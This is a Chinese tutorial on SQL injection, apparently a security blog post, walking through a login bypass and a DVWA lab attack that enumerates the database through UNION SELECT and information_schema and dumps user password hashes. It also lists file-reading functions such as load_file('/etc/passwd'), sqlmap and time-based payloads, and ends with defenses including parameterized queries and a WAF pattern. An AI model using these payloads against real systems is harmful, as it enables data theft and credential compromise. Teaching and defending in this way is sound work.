网安系列【6】之[特殊字符] SQL注入揭秘:从入门到防御实战指南
文章目录
- 一 真实案例
- 二 SQL注入
- 三 为什么危害堪比核弹?
- 四 深入解剖攻击原理
- 🎯 4.1:探测SQL漏洞的存在
- 🎯 4.2:数据库信息探测
- 🎯 4.3:数据库信息探测
- 🎯 4.4:数据库信息进一步探测
- 🎯 4.5:数据库表中敏感信息探测
- 五 防御指南:四重黄金法则
- 🔒5.1 法则1:参数化查询(最有效!)
- 🔒5.2 法则2:输入严格过滤
- 🔒5.3 法则3:最小权限原则
- 🔒5.4 法则4:深度防御策略
- 六 检测:你的网站安全吗?
“比忘记WHERE子句更可怕的,是把用户输入直接当代码执行。” —— 每个被SQL注入毒打过的开发者
一 真实案例
- 场景:某电商网站登录框
- 正常SQL:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
攻击者输入: 用户名:admin' --
,密码:任意值(如123)。最终SQL变形成:
sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123'
- 👉 结果:攻击者以admin身份直接登录!因为
--
在SQL中是注释符,密码验证被直接忽略。
二 SQL注入
- 通俗解释:黑客通过篡改SQL查询结构,把恶意代码“注入”到正常SQL语句中,欺骗数据库执行非法操作。
- 技术本质:用户输入数据未被正确处理,与代码指令发生混淆,导致数据被当作代码执行。
三 为什么危害堪比核弹?
危害类型 | 具体后果 | 真实案例 |
---|---|---|
数据窃取 | 盗取用户密码、银行卡信息 | 雅虎5亿账户泄露事件 |
数据篡改 | 修改商品价格、账户余额 | 某电商1元买iPhone漏洞 |
系统接管 | 获取服务器控制权限 | 某政府系统被植入后门 |
数据删除 | 清空整个数据库表 | 某公司用户数据遭恶意删除 |
四 深入解剖攻击原理
- 以下案例中在DVWA平台low安全水平下进行SQL注入练习。
🎯 4.1:探测SQL漏洞的存在
- 通过以下的执行结果探测,确定漏洞的存在。
SELECT first_name, last_name FROM users WHERE user_id = '$id';
攻击payload:username = ' OR 1=1 --
或者username=' or 1=1 #
生成SQL:
SELECT * FROM users WHERE username='' OR 1=1 --;
✅ 攻击效果:条件永真,返回所有用户数据
🎯 4.2:数据库信息探测
- 判断数据库的列数
order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#"
- 用户输入
1' order by 1#
,得到返回结果确定数据库表中存在一列,继续增加列数的数值,探测数据表的总列数。如果不存在,会报错Unknown column '3' in 'order clause' in
。用户输入的数据为 1′order by 3#时网页出现报错,证明该数据库表有 2 列/字段
🎯 4.3:数据库信息探测
- 在确定该接口使用的数据库表的列数之后,可以继续使用union进行获取数据库的更多资源。如,上一步测试的数据库表只有两列。
' UNION SELECT user(),database() #
✅ 攻击效果:暴漏当前连接数据库的用户和数据库名
ID: ' UNION SELECT user(),database() #
First name: dvwa_ZfhAQF@172.18.0.3
Surname: dvwa_xmxbmd
- 常用信息收集函数:
- 系统信息函数
@@version 或 version(): 数据库版本。
@@basedir: MySQL安装的基本目录。
@@datadir: 数据文件存储目录。
@@hostname: 服务器主机名。
@@version_compile_os: 操作系统信息。
- 数据库信息函数
schema(): 同database(),返回当前数据库名。
table_schema (通过information_schema.tables): 获取所有数据库名。
- 用户信息函数
current_user(): 当前用户。
system_user(): 系统用户。
session_user(): 会话用户。
- 文件和路径函数
load_file('/etc/passwd'): 读取文件内容(需要权限)。
@@tmpdir: 临时目录。
@@secure_file_priv: 安全文件目录。
- 其他实用函数
UUID(): 返回一个通用唯一标识符。
connection_id(): 当前连接的ID。
last_insert_id(): 最后插入的自动增量值。
row_count(): 上一个语句影响的行数。
🎯 4.4:数据库信息进一步探测
information_schema
是Mysql5.0后新增的元信息数据库,保存Mysql服务器所保存的所有的其他数据库信息,如schemata
(数据库信息)、tables
(表信息)、columns
(列信息)。- 联合查询表(查询数据的名称和表的名称);
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
SELECT first _name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
- 结合上一步获取到的数据库名
dvwa_xmxbmd
和使用的表只有两列,可以采用以下语句进行执行,查询目前数据库中的表。
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: guestbook
Surname: dvwa_xmxbmd
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: users
Surname: dvwa_xmxbmd
- 继续查看具有意义的users表中的列信息,执行以下输入
1' union select column_name,data_type from information_schema.columns where table_name='users' #
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: avatar
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: failed_login
Surname: int
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: first_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_login
Surname: timestamp
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: password
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user_id
Surname: int
- 我们可以看到,
users
表中存在user
和password
重要的信息,可以继续进一步查看。
🎯 4.5:数据库表中敏感信息探测
- 联合查询信息
union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
- 可以输入以下命令进行注入
1' union select user,password from users #
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
- 可以在https://www.cmd5.com/解密部分md5加密数据,如admin的密码解密为
password
。
五 防御指南:四重黄金法则
🔒5.1 法则1:参数化查询(最有效!)
# Python + psycopg2 安全示例
import psycopg2
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))
🔒5.2 法则2:输入严格过滤
// Node.js 过滤示例
function sanitize(input) {return input.replace(/['";\\]/g, ''); // 移除敏感字符
}
🔒5.3 法则3:最小权限原则
CREATE USER webuser WITH PASSWORD 'strongPwd!';
GRANT SELECT ON users TO webuser; -- 仅授权必要权限
REVOKE DROP, DELETE ON *.* FROM webuser; -- 回收危险权限
🔒5.4 法则4:深度防御策略
- Web应用防火墙(WAF)规则示例:
# Nginx配置拦截SQL注入特征 location / {set $block_sql_inject 0;if ($query_string ~* "union.*select.*\(") {set $block_sql_inject 1;}if ($block_sql_inject = 1) {return 403;} }
六 检测:你的网站安全吗?
测试工具(仅用于合法授权测试):
- SQLMap:
sqlmap -u "http://example.com?id=1"
- Burp Suite:拦截请求修改参数为
id=1' AND 1=Sleep(5)--
- 手动检测:输入单引号
'
观察是否报错
安全自查表:
- 所有数据库操作使用参数化查询
- 错误信息不泄露数据库结构
- 数据库连接使用最低权限账户
- 关键操作有二次验证机制
- 记住:“永远不要信任用户输入,验证、过滤、参数化——这三板斧能救你的系统一命。”